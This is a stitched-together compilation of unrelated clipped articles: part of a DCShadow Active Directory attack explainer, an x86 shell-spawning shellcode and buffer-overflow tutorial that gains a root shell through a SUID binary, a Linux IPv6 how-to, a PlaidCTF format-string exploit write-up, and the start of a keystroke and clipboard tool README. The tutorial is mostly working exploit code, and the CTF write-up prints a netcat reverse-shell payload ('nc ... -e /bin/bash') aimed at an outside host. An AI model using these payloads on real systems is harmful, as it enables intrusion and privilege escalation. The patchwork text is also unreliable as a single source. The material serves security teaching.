  * •a database engine able to replicate its information \(meaning it must be accessible through LDAP protocols and implement several RPCs to follow MS-DRSR and MS-ADTS specifications\)
  * •an authentication provider accessible through Kerberos, NTLM, Netlogon or WDigest protocols
  * •a configuration management system called GPO, relying on SMB and LDAP protocols
  * •an \(optional\) DNS provider used by clients to locate resources and support authentication

<img src='img/Temp2_1793.png' width='75' height='28' />

Synthesize of services provided by a DC

### Focus on Active Directory replication

In addition to hosting these services, a domain controller in the making
should be registered in the directory infrastructure to be accepted by another
DC as a replication source provider. The data replication is orchestrated by a
built-in process \(running on the NTDS service\) called the Knowledge
Consistency Checker \(KCC\).

The major function of the KCC is to generate and maintain the replication
topology for replication within and between sites. In other words, the KCC
process elects which DC will communicate to which other to create an efficient
replication process. Within a site, each KCC generates its own connections.
For replication between sites, a single KCC per site generates all
connections. The following schema illustrates the two kinds of replication.

<img src='img/Temp2_1797.png' width='75' height='48' />

The two kinds of replication process

By default, the KCC initiates AD replication topology every 15 minutes to
ensure consistent and regular propagation. Using the USN associated to every
AD object, the KCC recognizes changes that occur in the environment and
ensures that domain controllers are not orphaned in the replication topology.
Fun fact, historically Active Directory replication process could have been
made through RPC \(like DrsAddEntry\) but also through SMTP \(for the Schema
and Configuration partition only\)\!

<img src='img/Temp2_1795.png' width='75' height='38' />

Registry key defining the replication time period

One part of the great job made by the researchers behind “DCShadow” was to
identify the minimal set of changes required to inject a new server in the
replication topology and therefore inject malicious information abusing this
process while remaining stealthy.

### How DCShadow actually works

As explained in the following section of this article, the “DCShadow” attack
aims to register new domain controllers to inject malicious AD objects and so
create backdoors or any kind of illegitimate access or right. To reach this
goal, “DCShadow” attack must modify the targeted AD infrastructure database to
authorize the rogue server to be part of the replication process.

### Register a new domain controller

As mentioned in the MS-ADTS specification, a domain controller is represented
in the AD database by an object of class nTDSDSA that is always located in the
configuration naming context of a domain. More precisely, each DC is stored in
the sites container \(object class sitesContainer\), as a child item of a
server object.

<img src='img/Temp2_1801.png' width='75' height='45' />

In blue, the containers storing the NTDS-DSA object. In red, the object
itself.

A quick look at the schema shows that NTDS-DSA objects can only be created as
children of server objects, which in turn can only be part of organization or
server objects:

  * •the server objects can only be stored in serversContainer objects which are only found in the Configuration NC.
  * •the organization objects can only be stored in locality, country or domainDNS objects which can be found in the domain NC

<img src='img/Temp2_1800.png' width='75' height='42' />

The schema indicates where ntds-dsa objects can be created

In this way, domain controllers \(nTDSDSA objects\) can only be created in the
Configuration or Domain NC. In practice, it seems only the nTDSDSA objects
stored in the site container \(sitesContainer object\) are taken into
consideration. As the KCC relies on the site information to compute its
replication topology, it seems logical that only these objects are used. Note
that creating an nTDSDSA object is not possible using the LDAP protocol.

You would have understood it, the main action made by the “DCShadow” attack is
to create a new server and nTDSDSA objects in the Configuration partition of
the schema. Doing so provides the ability to generate malicious replication
data and inject them to other domain controllers.

Now that we understand what the “DCShadow” attack do, we need to understand
what kind of privileges are required to create nTDSDSA objects in the
Configuration partition. A quick look in the permissions show that only
BUILTIN\Administrators, DOMAIN\Domain Admins, DOMAIN\Enterprise Admins and NT
AUTHORITY\SYSTEM have control rights on the targeted containers.

<img src='img/Temp2_1802.png' width='75' height='75' />

The default access rights on the Server object.

This quick analysis allows us to conclude that the “DCShadow” attack is not a
privileges escalation vulnerability, but a misappropriation of Active
Directory mechanism. It doesn’t allow red teamers to gain privileges but give
them another solution to become persistent or to make illegitimate actions in
a directory infrastructure. It should thus be added in the category of another
sneaky AD persistence trick and not as a vulnerability to fix.

### Trust the new domain controller

As described in the previous paragraph, the “DCShadow” attack relies on the
addition of a new nTDSDSA object in the Configuration partition to register
itself as a new member of the replication process. However, adding this sole
object is not enough to allow our rogue server to initiate replication. In
fact, to be part of the replication process we need to take care of two
requirements:

  * •be trusted by other servers, meaning that we need to have valid authentication credential.
  * •provide authentication support to let other DCs to connect to our rogue server when we need to replicate data.

By using a valid computer account, a rogue server can be treated as a
trustworthy AD server. The Kerberos SPN attributes will provide authentication
support for other DCs. Therefore, every nTDSDSA object is linked to the
computer object through the serverReference attribute.

<img src='img/Temp2_1799.png' width='75' height='48' />

The serverReference attribute acts as the link between a nTDSDSA object and
its related computer object

Despite the theoretical possibility to achieve this with a user account, it
seems much easier and stealthy to use a computer account. In fact, it will be
automatically registered in the DNS infrastructure \(which will allow other
DCs to locate our resource\), will natively have the required attributes set
and will have its authentication secret automatically managed.

In this way, the “DCShadow” attack will use a legitimate computer account to
be able to authenticate to other DCs. Although the computer object and the
nTDSDSA object will bring the ability to authenticate to other DCs, the
“DCShadow” attack still needs to let other DCs to connect to the rogue server
to replicate illegitimate information from it.

This last requirement is fulfilled using the Kerberos Service Principal Name
\(SPN\). As extensively explained in several publications, SPNs are used by
Kerberos service \(KDC\) to encrypt the Kerberos ticket with the computer
account associated with the SPN. In our case, the “DCShadow” attack will add
SPNs on the regular computer object used to authenticate.

One of the key findings of Benjamin Delpy and Vincent Le Toux was to isolate
the minimum set of SPNs required for the replication process to go through.
The results of their studies show that two SPNs are required to let another DC
to connect to the rogue server:

  * •the DRS service class \(which has the well-known GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2\)
  * •the Global Catalog service class \(which has the string “GC”\)

For example, the two SPNs required by our rogue server \(named “roguedc” with
the DSA GUID 8515DDE8–1CE8–44E5–9C34–8A187C454208 in the alsid.corp domain\)
are as follows:

[code]

    E3514235–4B06–11D1-AB04–00C04FC2DCD2/8515DDE8–1CE8–44E5–9C34–8A187C454208/alsid.corp  
    GC/roguedc.alsid.corp/alsid.corp
[/code]

<img src='img/Temp2_1798.png' width='75' height='45' />

A rogue computer account having the SPN of a DC

When triggering its attack, “DCShadow” will set those two SPNs to its targeted
computer account. More precisely, the SPNs will be set using the DRSAddEntry
RPC function as described in the CreateNtdsDsa function documentation \(more
details about MS-DRSR RPC are provided in the next section\).

For now, we can register our rogue domain controller into the replication
process and be authenticated by another DC. The remaining step is now to force
the DC to initiate the replication process with our malicious data.

### Injecting illegitimate objects

In the previous parts, we gathered all the requirements to register in the
replication process, in this final chapter we will study how the “DCShadow”
attack injects its illegitimate information into the DNS infrastructure.

To serve illegitimate data, the rogue domain controller will have to implement
the minimal set of RPC functions required by the MS-DRSR specifications:
IDL\_DRSBind, IDL\_DRSUnbind, IDL\_DRSGetNCChanges, IDL\_DRSUpdateRefs. The
IDL of this function are provided by Microsoft in its open specifications and
are now implemented into Benjamin Delpy’s Mimikatz tool.

The final step of the “DCShadow” attack is to trigger the replication process.
To do so, two strategies can be conducted:

  * •Wait for the KCC process of another DC to initiate the replication process \(requires 15 minutes delay\)
  * •Force the replication by invoking the DRSReplicaAdd RPC function. It will change the content of the repsTo attribute which will start an immediate data replication.

<img src='img/Temp2_1796.png' width='75' height='40' />

Extract of the MS-DRSR specification describing the DRSReplicaAdd IDL

Forcing the replication with the IDL\_DRSReplicaAdd RPC is the last step taken
during a “DCShadow” attack. It allows to inject arbitrary data into a targeted
AD infrastructure. Doing so, it becomes trivial to add any backdoor in the
domain \(by adding new member on an administrative group, or by setting SID
history on a controlled user account for example\).

### Process summary

The following chart summarizes the different operations achieved during a
“DCShadow” attack.

<img src='img/Temp2_1794.png' width='75' height='31' />

DCShadow attack synthetized process

  

# x86 Exploitation 101: born in a shell | gb\_master's /dev/null
**Created:**| _7/16/2015 10:59:38 AM_  
---|---  
**Updated:**| _7/16/2015 11:02:19 AM_  
**Author:**| __  
**Tags:**| _x86_  
  

The next step in the exploitation is to spawn a shell by writing a shellcode
that does it and using it to exploit a buffer overflow vulnerability. To do
this it is necessary to use the execve system call exported by the Linux
kernel: the function is listed in the unistd.h file and it is associated to
the number 11. This function transfers the execution flow to the program
specified in the arguments and, unless an error during the initialization
happens, never returns to the caller. The parameters required by this system
call are the following:

\- Pathname of the executable in EBX

\- Address of the argv vector in ECX

\- Address of the envp vector in EDX \(it will be NULL here\)

  

So, a sketch of the shellcode could be the following:

  

section .data  
  
sh\_str        db '/bin/sh'  
null\_ptr      db 0  
  
section .text  
  
global \_start  
  
\_start:  
        mov    eax, 11        ; execve system call number  
        mov    ebx, sh\_str    ; address of the pathname  
  
        push    0              ; argv\[1\]  
        push    sh\_str        ; argv\[0\]  
  
        mov    ecx, esp      ; pointer to the argv vector  
        xor    edx, edx      ; NULL envp  
        int    0x80          ; execute execve  
  
        mov    al, 1          ; set up an exit call, just in case  
        xor    ebx, ebx  
        int    0x80          ; exit\(0\)  

  

This code spawns a shell and passes no arguments to the function itself.
Objdump, please:

  

$ objdump -d payload -M intel  
  
shellcode:    file format elf32-i386  
  
  
Disassembly of section .text:  
  
08048080 <\_start>:  
8048080:      b8 0b 00 00 00          mov    eax,0xb  
8048085:      bb a0 90 04 08          mov    ebx,0x80490a0  
804808a:      6a 00                  push  0x0  
804808c:      68 a0 90 04 08          push  0x80490a0  
8048091:      89 e1                  mov    ecx,esp  
8048093:      31 d2                  xor    edx,edx  
8048095:      cd 80                  int    0x80  
8048097:      b0 01                  mov    al,0x1  
8048099:      31 db                  xor    ebx,ebx  
804809b:      cd 80                  int    0x80

  

Then again, we’ll have to remove all the null bytes and the references to
variables in the data section. Also there’s the 0x0b byte \(ASCII for vertical
tab\) which is interpreted as a separator by scanf \(with these functions, it
is better to avoid 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x1A and 0x20\). Anyway, I
decided to get rid of the references to the string in a funny way, this time,
just to learn a new technique. The string “/bin//sh” actually has the same
effect of “/bin/sh” and this is perfectly testable in a Linux console. Why
doing this? Because the length “/bin//sh” is a multiple of 4 and we can put
this string \(in reversed form\) in the stack by using push instructions and,
then, retrieving the address through the ESP register. I know this is a little
bit confusing, but probably seeing the code would be more clear:

  

global \_start  
  
\_start:  
sub    esp, 0x7F  
  
xor    eax, eax      ; EAX = 0  
  
push    eax            ; argv\[1\] = 0  
push    0x68732f2f    ; "hs//"  
push    0x6e69622f    ; "nib/"  
        mov    ebx, esp      ; address of the pathname  
  
push    eax  
        mov    edx, esp      ; NULL envp  
  
push    ebx  
        mov    ecx, esp      ; pointer to the argv vector  
  
add    al, 5  
add    al, 6          ; EAX = 11  
  
        int    0x80          ; execute execve  
  
        mov    al, 1  
        xor    ebx, ebx  
        int    0x80  

  

So, the shellcode is NULL-free and doesn’t have references to anything outside
the text section. Why the SUB instruction at the beginning? Well, it’s more
for security reasons: you should not forget that the shellcode goes into the
stack and we’re executing a lot of PUSH instructions here. This means that one
of these PUSH instructions might overwrite the shellcode itself \(believe me,
it happens\). Anyway, the final result can be checked with objdump, again:

  

$ objdump -d shellcode -M intel  
  
shellcode:    file format elf32-i386  
  
  
Disassembly of section .text:  
  
08048060 <\_start>:  
8048060:      83 ec 7f                sub    esp,0x7f  
8048063:      31 c0                  xor    eax,eax  
8048065:      50                      push  eax  
8048066:      68 2f 2f 73 68          push  0x68732f2f  
804806b:      68 2f 62 69 6e          push  0x6e69622f  
8048070:      89 e3                  mov    ebx,esp  
8048072:      50                      push  eax  
8048073:      89 e2                  mov    edx,esp  
8048075:      53                      push  ebx  
8048076:      89 e1                  mov    ecx,esp  
8048078:      04 05                  add    al,0x5  
804807a:      04 06                  add    al,0x6  
804807c:      cd 80                  int    0x80  
804807e:      b0 01                  mov    al,0x1  
8048080:      31 db                  xor    ebx,ebx  
8048082:      cd 80                  int    0x80

  

So, by repeating the procedure already seen in the previous post, it is
possible to complete the payload. First step: identifying the byte sequence of
the shellcode.

  

“\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80″

  

It’s time to write it into a file that will be used as input of the program:

  

$ python -c 'import sys; sys.stdout.write\("\x90"\*\(64-36\) +
"\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80"\)'
> payload

  

Second step: appending a dummy value for the EBP

  

$ python -c 'import sys; sys.stdout.write\("BBBB"\)' >> payload

  

Third step: adding the address of the password variable \(and we already know
that, by the previous post\):

  

$ python -c 'import sys; sys.stdout.write\("\x70\xd2\xff\xff"\)' >> payload

  

Fourth step: test it, just like we did before\!

  

$ echo $$  
23315  
$ ./example1 < payload  
$ echo $$  
23315  

  

Same process ID. Mmm… This means it didn’t work, but why? If I test the
shellcode by itself it works, so why shouldn’t it work when used as input of
the program? Well, this has more to do with the program itself than with the
shellcode. In fact, the scanf function I used to retrieve the console input
flushes stdin in such a way that /bin/sh receives an EOF and quits. But this
makes everything we did USELESS. Hell\! No worries, as it is possible to
rearrange it in a slightly different way:

  

$ echo $$  
23315  
$ \( cat payload; cat \) | ./example1  
  
echo $$  
20868  
whoami  
user  
ls  
example1  example1.c  exploit  payload  shellcode  shellcode.asm  shellcode.o  

  

Even if we don’t have shell prompt \(as the stdin of the shell is not
connected to a terminal, sh acts like it is not running in interactive mode\),
the shell has been spawned and actually replies to commands.

  

That’s it\!

  

A worthful modification to the example1 source code is shortening the password
array size from 64 to 10: in this way there’s not enough space to host the
shellcode we designed. We need now 10+4+4 bytes to overflow the buffer,
overwrite the saved EBP value and overwrite the return address. By attaching
gdb to the running example1 process \(just like in the previous post\), I
found out that now the password buffer is located at 0xFFFFD296. The way the
following acts relies on the environment variables, as, in Linux, every
program stores them on the stack: we can create one storing the shellcode and
then jump there in a similar way saw before.

  

Yes, yes, this is all doable, but we need to know the address where a given
environment variable will be located when a program is loaded. To do this,
there’s a nice piece of code taken from the wonderful book “Hacking: The Art
of Exploitation, 2nd Edition“, called getenvaddr.c:

  

\#include <stdio.h>  
\#include <stdlib.h>  
\#include <string.h>  
  
int main\(int argc, char \*argv\[\]\)  
\{  
    char \*ptr;  
    if\(argc < 3\)  
    \{  
        printf\("Usage: %s  \n", argv\[0\]\);  
        return 0;  
    \}  
  
    ptr = getenv\(argv\[1\]\); /\* Get env var location. \*/  
    ptr += \(strlen\(argv\[0\]\) - strlen\(argv\[2\]\)\) \* 2; /\* Adjust for
program name. \*/  
    printf\("%s will be at %p\n", argv\[1\], ptr\);  
  
    return 0;  
\}  

  

So, getenvaddr accepts as arguments the environment variable we’re interested
into and the program name we’re going to exploit. So, first thing first: we
need to write the exploit into the environment variable. Obviously, the
exploit we had still rocks:

  

$ export SHELLCODE=\`python -c 'import sys;
sys.stdout.write\("\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80"\)'\`

  

Now that the environment variable is set, it is possible to use the getenvaddr
program:

  

$ ./getenvaddr SHELLCODE ./example1  
SHELLCODE will be at 0xffffd522  

  

Cool, we have our address. Now it is definitely easy to exploit the
vulnerability, as the overwriting of the return address must be this value:
0xFFFFD522.

  

$ echo $$  
23315  
$ \( python -c 'import sys; sys.stdout.write\("A"\*14 + "\x22\xd5\xff\xff"\)'; cat \) | ./example1  
  
echo $$  
27609  
whoami  
user  
ls  
example1  example1.c  exploit  getenvaddr  getenvaddr.c  payload  shellcode 
shellcode.asm  shellcode.o  

  

That’s it\!

  

Now let’s say that example1 has SUID rights \(it gives the permissions to the
user to run the executable with the owner’s rights\) and that the owner is
root. This scenario can be created with the following commands:

  

\# chown root:root example1  
\# chmod 4755 example1  
\# exit  
$  

  

Let’s try again the same exploit of before and let’s see what happens:

  

$ echo $$  
23315  
$ \( python -c 'import sys; sys.stdout.write\("A"\*14 + "\x22\xd5\xff\xff"\)'; cat \) | ./example1  
  
echo $$  
27609  
whoami  
root  

  

We gained a root shell. That’s why SUID rights must be treated with extreme
care, as, if there are vulnerabilities in the code, these might allow the
attacker to execute shellcode with root privileges.

  

Writing this article was extremely funny, as I had to face some issues I never
thought to \(i.e. the magical SUB instruction at the beginning of the shell
spawning shellcode and the stdin stuff after the shellcode execution\). I
think that in these things fun is everything, and most of the times losing is
fun.

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook

  

Loading...

  

Related

  

x86 Exploitation 101: when the stack gets over its head

In "Exploitation"

  

x86 Exploitation 101: "House of Force" \- Jedi overflow

In "Exploitation"

  

x86 Assembly 101: conditional jumps, logic and shiftings

In "Reverse Engineering"

  

<img src='img/Temp2_10766.png' width='640' height='55' />

# IPv6 Crash Course For Linux | Linux.com
**Created:**| _4/10/2011 11:38:44 AM_  
---|---  
**Updated:**| _4/10/2011 11:58:18 AM_  
**Author:**| __  
**Tags:**| _Linux ipv6_  
  

## IPv6 Crash Course For Linux

Thursday, 07 April 2011 08:27 Carla Schroder

You might be used to working with IPv4 on Linux, but like it or not IPv6 is on
its way in. Roll up your sleeves, spit on your palms, and get ready to go to
work because this is your crash course in actually using IPv6. It hardly hurts
at all. Linux has supported it since the 2.1 kernel, so you shouldn't have to
install anything. Make sure you have the `ping6`, `ip`, and `ifconfig`
commands.

Let's get my favorite nitpick out of the way right now — we do not have IPs,
we have IP addresses. IP stands for Internet Protocol. As my wise grandmother
used to say, sloppy speech equals sloppy habits, which equals a trip to hell
in a handbasket.

### IPv6 Advantages

What does IPv6 offer over IPv4? Well, aside from the fact that we're more or
less out of new IPv4 addresses, IPv6 has a number of additional advantages.

  * No more private address collisions.
  * Network address translation \(NAT\) is optional, rather than a necessity.
  * Simplified routing.
  * Say good-bye to DHCP.

One major drawback to IPv6 is unwieldy long hexadecimal addresses. IPv4 dotted
quads are easy to remember. Eight clumps of hexadecimal numbers are a lot
harder, at least for my old brain.

### Does My Linux System Support IPv6?

How do you know if your system supports IPv6? Simple:

[code]

    
    $ cat /proc/net/if_inet6
    000000000000000000000000000000 01 01 80 10 80       lo
    fe80000000000000020b6afffeef7e 8d 02 40 20 80     eth0
    
    
[/code]

This means yes. Most modern distros should support IPv6 out of the box.

### Pinging IPv6

If you want to ping IPv6 addresses, you'll need the **ping6** command. This
pings localhost twice:

[code]

    
    $ ping6 -c2 ::1
    PING ::1(::1) 56 data bytes
    64 bytes from ::1: icmp_seq=1 ttl=64 time=0.043 ms
    64 bytes from ::1: icmp_seq=2 ttl=64 time=0.054 ms
    
    --- ::1 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 999ms
    rtt min/avg/max/mdev = 0.043/0.048/0.054/0.008 ms
    
    
[/code]

::1 is shorthand for 0000:0000:0000:0000:0000:0000: 0000:0001. Any one
unbroken sequence of consecutive zeros can be shortened to a pair of colons,
and any quad of all zeroes can be condensed to a single zero, like
0.0.0.0.0.0.0.1.

### LAN Discovery

Want to find out if you have IPv6 neighbors on your LAN?

[code]

    
    $ ping6 -c4 -I eth0 ff02::1
    PING FF02:0:0:0:0:0:0:1(ff02::1) from fe80::20d:b9ff:fe05:25b4 eth0: 56 data bytes
    64 bytes from fe80::20d:b9ff:fe05:25b4: icmp_seq=1 ttl=64 time=0.301 ms
    64 bytes from fe80::20b:6aff:feef:7e8d: icmp_seq=1 ttl=64 time=3.69 ms (DUP!)
    64 bytes from fe80::221:97ff:feed:ef01: icmp_seq=1 ttl=64 time=8.91 ms (DUP!)
    [snip duplicate lines]
    
    --- FF02:0:0:0:0:0:0:1 ping statistics ---
    4 packets transmitted, 4 received, +6 duplicates, 0% packet loss, time 3000ms
    rtt min/avg/max/mdev = 0.254/1.698/8.911/2.593 ms
    
    
[/code]

The response shows that yes, there are two — fe80::20b:6aff:feef:7e8d and
fe80::221:97ff:feed:ef01. Note that you must specify which network interface
to use, even if you have only one. ff02::1 is short for ff02:0:0:0:0:0:0:1,
which is a special link-local multicast address for discovering all link-local
hosts.

Link-local addresses are all in the fe80::/10 address range. These are
comparable to the 169.254.0.0/16 address block in IPv4, the stateless address
auto-configuration blocks. The IPv6 protocol requires link-local addresses,
even if you are using other assigned addresses.

Now that you have connected to two LAN IPv6 hosts they are in the IPv6
neighbor table, which is just like the IPv4 ARP \(address resolution
protocol\) table. You can read this table with the `ip` command:

[code]

    
    $ ip -6 neigh show
    
    fe80::221:97ff:feed:ef01 dev eth0 lladdr 00:21:97:ed:ef:01 nud reachable
    fe80::20b:6aff:feef:7e8d dev eth0 lladdr 00:0b:6a:ef:7e:8d nud reachable
    
    
[/code]

Here, _nud reachable_ means the _network unreachability detection_ status is
_reachable_ ; the node\(s\) have been contacted and cached in the neighbor
table. The neighbor table is temporary and entries disappear in a few minutes
when there is no traffic to them.

You can ping these neighbors:

[code]

    
    $ ping6 -c4 -I eth0  fe80::221:97ff:feed:ef01
    
    
[/code]

### Using Hostnames

We'll get to the proper "leet" network administrator method of assigning
hostnames in a future installment; for today let's use good old reliable
`/etc/hosts`. Let's say you have three PCs in your little link-local LAN:
fatfreddy, phineas, and franklin. You can use these fine hostnames over IPv6
as easy as pie. You'll make identical entries in the `/etc/hosts` file of each
PC, like this:

[code]

    
    fe80::20b:6aff:feef:7e8d  fatfreddy
    fe80::221:97ff:feed:ef01  phineas
    fe80::3f1:4baf:a7dd:ba4f  franklin
    
    
[/code]

Now you can `ping6` by hostname:

[code]

    
    $ ping6 -I eth0 phineas
    PING phineas(phineas) from fe80::221:97ff:feed:ef01 eth0: 56 data bytes
    64 bytes from phineas: icmp_seq=1 ttl=64 time=17.3 ms
    
    
[/code]

### SSH and SCP

SSH and SCP both speak IPv6. Warning: there are some syntax gotchas, so pay
attention. You can log in and copy files on your ad-hoc IPv6 link-local
network just like on your old-fashioned IPv4 network. If you have IPv6 name
services set up then you don't do anything differently. For example, you can
login via ssh as a different user in the usual way, `ssh user@remotehost`.
Copying a file is also exactly the same: `scp filename
user@remotehost:/home/username/directory/`.

It gets tricky using your IPv6 link-local addresses. This is how you establish
an SSH session:

`ssh phineas@fe80::221:97ff:feed: ef01%eth0`

Again, you must specify the network interface name on your PC, and you must do
it as shown, appended with a percent sign and no spaces. `scp` has its own
fiendish syntax quirks:

[code]

    
    $ scp test.txt phineas@\[fe80::221:97ff:feed: ef01%eth0\]:
    phineas@fe80::221:97ff:feed: ef01%eth0's password:
    test.txt 100%   19     0.0KB/s   00:00 
    
    
[/code]

The IPv6 address must be enclosed in square braces, including the interface
name, and the braces must be escaped.

### What is My IPv6 Address?

The `ifconfig -a` command displays complete information on all of your network
interfaces, both physical and virtual. When you know which interface to query
you can quickly narrow it down with `grep`:

[code]

    
    $ ifconfig eth0 |grep "inet6 addr:"
    
              inet6 addr: fe80::20d:b9ff:fe05:25b4/64 Scope:Link
    
    
[/code]

### Venturing Forth Upon the Internet

Faffing around on your LAN is all right, but what about venturing forth into
the great wide Internet via IPv6? For this you need an Internet service
provider that offers native IPv6, which in the US is a sadly small number. I
set up my first test IPv6 network in 2004. If you had told me back then that
seven years later it would have been pretty much the same I would not have
believed you. Well here we are in this glorious year 2011, a little bit
advanced from 2004. In the meantime you can test the waters with IPv6-over-
IPv4 tunnel brokers \(just like in 2004\!\) such as SixXS or Hurricane
Electric.

June 8, 2011 is World IPv6 Day, when Google, Comcast, Facebook, Yahoo\!,
Akamai and Limelight Networks and other providers will provide native IPv6
connectivity for 24 hours. Test your readiness and learn more at Test IPv6.

Just like IPv4, you need to receive an allocation of IPv6 addresses from your
ISP. These are _global unicast addresses_ , and they are in the 2000::/3
range. Let's fake one up for practice and assign it to a network interface:

`# ip -6 addr add 2001::1/64 dev eth0`

Now let's check our work:

[code]

    
    $ ifconfig eth0 |grep "inet6 addr:"
    
              inet6 addr: 2001::1/64  Scope:Global
              inet6 addr: fe80::20b:6aff:feef:7e8d/64 Scope:Link
    
    
[/code]

If you need to remove it, use the `del` command with the `ip` utility:

`# ip -6 addr del 2001::1/64 dev eth0`

In real life you'll get a big block of addresses, like 256 or more, and you'll
set up a proper server for allocating them to your hosts. Come back in part
two to learn how to do this both simulated and for real, some firewall rules
for IPv6 so you don't leave yourself open to sneak attacks, and how to manage
name services.

<img src='img/Temp2_4335.jpg' width='32' alt='Carla Schroder' />

Carla Schroder

<img src='img/Temp2_4334.jpg' />

Author of "the Book of Audacity", "Linux Cookbook", "Linux Networking
Cookbook" and many howto Linux articles, system and network administrator.

# PlaidCTF 2011 \#25 – PC Rogue \(600\) » Leet More

**Created:**| _4/26/2011 9:02:13 PM_  
---|---  
**Updated:**| _4/26/2011 9:02:13 PM_  
**Author:**| __  
**Tags:**| _ctf awesome_  
  

## PlaidCTF 2011 \#25 – PC Rogue \(600\)

  * Writeups

by hellman

**Category: pwnables**

> Amalgamated has banned the use of Solitaire due to loss of productivity.  
>  The only employee who would write a new game for everyone only likes
> ‘retro’ games, and has placed a text-adventure version of pacman on a
> company server.  
>  We don’t believe he could have coded this securely, and the server contains
> a vital key.  
>  Connect to the game here and find the key.
> **`nc a9.amalgamated.biz 60123`**
**Summary:** remote formatstring vulnerability, without binary

### Looking around

This task is a text-mode pacman without enemies. You can move along the map,
and take pills and powerpills. Also it’s 8bit emulation and you can’t take a
powerpill when it increases powerpoins greater than 127. I haven’t found any
bugs at first, so I decided to write a bot for scanning the map. It is stupid
enough, but it covers the whole map :\) bot.py

Unhappily, when I ate all pills, nothing had happened:

<img src='img/Temp2_6256.png' alt='Pacman game map' />

Later, I looked through the whole game \(png’s in the **‘game’** folder\) and
noticed, that powerpills can be -128 and do not decrease when they are
negative. 118th turn:

<img src='img/Temp2_6255.png' alt='Negative powerpills and strange string in
Item' />

Oops, the **‘Item’** field is “take”. Why?

You can have noticed, this field depends on the value of POWERPOINTS. So it
should be something like this:

`puts(Messages[POWERPOINTS])`

And when POWERPOINTS are negative, this code prints something from user input.
Looks like it is probable to be formatstring vulnerability:
`printf(Messages[POWERPOINTS])`. Let’s check\! But first, we didn’t know which
“take” is printed. I tried to change the first one and it worked:

[code]

    pacman $ (echo "fake"; head -n 118 history.txt) |
    nc a9.amalgamated.biz 60123
    ...
    STATUS:
    Item: fake
    POWERPOINTS:-128
    ...
[/code]

Ok, let’s try some format:

[code]

    pacman $ (echo "hey, %08x"; head -n 118 history.txt) |
    nc a9.amalgamated.biz 60123
    ...
    STATUS:
    Item: hey, bfec4e54
    POWERPOINTS:-128
    ...
[/code]

YES\! It’s format string\!

### Dumping binary

What now? We don’t have a binary, so it’s unreal to exploit it. Let’s dump it
via **“%s”** format. Why “%s”? Because it’s the only one, which allows
printing data from arbitrary address.

First, we need to found number of argument to printf, which points to our
buffer. It’s easy:

`AAAABBBBCCCC%11$08x` prints AAAABBBBCCCC43434343, so **%11$** points to CCCC.
We can dump the binary with such format strings:

`AAAABBBB\x01\x80\x04\x08%11$s` prints “AAAABBBB\x01\x80\x04\x08ELF…”

Here is a script for that. It is rather slow, but it works. When dumped, we
should patch the first byte from 00 to 7F \(standard ELF header\).

### Exploiting

Well, the dumped binary is rather corrupted, but we can find some useful
things. A good idea is to find a piece of code where the format string bug is
present. It is just after printing “Item”, so let’s find this string, and a
xref to it:

[code]

    LOAD:0804ADC7 aItem           db 0Ah                  ; DATA XREF: main+99o
    LOAD:0804ADC7                 db 'Item: ',0
    
[/code]

[code]

    LOAD:080496B2  mov     dword ptr [esp], offset aStatus ; "\n\nSTATUS:"
    LOAD:080496B9  call    sub_804843C
    LOAD:080496BE  mov     dword ptr [esp], offset aItem ; "\nItem: "
    LOAD:080496C5  call    sub_804843C
    LOAD:080496CA  movzx   eax, byte ptr [ebp-0E2h]
    LOAD:080496D1  movsx   eax, al
    LOAD:080496D4  mov     eax, [ebp+eax*4-2E4h]
    LOAD:080496DB  mov     [esp], eax
    LOAD:080496DE  call    sub_804843C
    LOAD:080496E3  movzx   eax, byte ptr [ebp-0E2h]
    LOAD:080496EA  movsx   eax, al
    LOAD:080496ED  mov     [esp+4], eax
    LOAD:080496F1  mov     dword ptr [esp], offset aP ; "\nPOWERPOINTS:%d"
    LOAD:080496F8  call    sub_804843C
    
[/code]

`**sub_804843C**` appears to be `**printf**`. It’s nice target for overwriting
at GOT\! Let’s find printf@GOT:

[code]

    LOAD:0804843C sub_804843C     proc near
    LOAD:0804843C                 jmp     off_804BF20
    
[/code]

Ok, `**printf@GOT**` is `**804BF20**`. If we overwrite it with `**system**`
address, the program will do `**system( "POWERPOINTS: %d")**` and other
strings, and it will fail. But after the next turn, it will do
`**system(our_format_string)**`.

But how do we know `**system**` address? Maybe you have noticed a string
**“Command limit reached. Reseting command buffer.”**. Looks like it allows us
to make a second format string without reconnect. The buffer is resetted after
each 127 commands, so the second format string must be 128th command.

So exploit is:

  * got current **printf** address with the first format string 
  * calculate corresponding **system** address; offset can be got from a5 host \(gdb: p/x &printf – &system\) 
  * send a format string which begins with argument to **system** and overwrites **printf@got** to **system**. 

My exploit is here.

[code]

    pacman $ py exploit.py
    Format string:
    ' nc a5.amalgamated.biz 3123 -e /bin/bash & #     \xbf\x04\x08"\xbf\x04\x08%12616u%21$hn%34299u%22$hn'
    20bf0408 0x3180L
    22bf0408 0xb77bL
    Worked!
    
[/code]

And listening netcat at a5:

[code]

    z2_1@a5:~$ nc -lvp 3123
    listening on [any] 3123 ...
    connect to [128.237.157.38] from AMALGAMATED-9.CLUB.CC.CMU.EDU [128.237.157.79] 47105
    id
    uid=1005(pc) gid=1006(pc) groups=1006(pc)
    cat /home/pc/key
    true8_bit_is_best_bit
[/code]

# MRGEffitas/Write-into-screen · GitHub

**Created:**| _8/11/2014 9:32:49 AM_  
---|---  
**Updated:**| _8/11/2014 9:32:49 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis CnC_  
  

# Write-into-screen

This program can be used to simulate keyboard events, and transfer files
through the clipboard.

The program reads the config.json file, and applies the commands from it.

The valid JSON commands are:

text\_type normal text to be typed, with RETURN at the end \{ "text\_type":
"winword" \},

text\_type\_without\_return normal text to be typed, without RETURN at the end
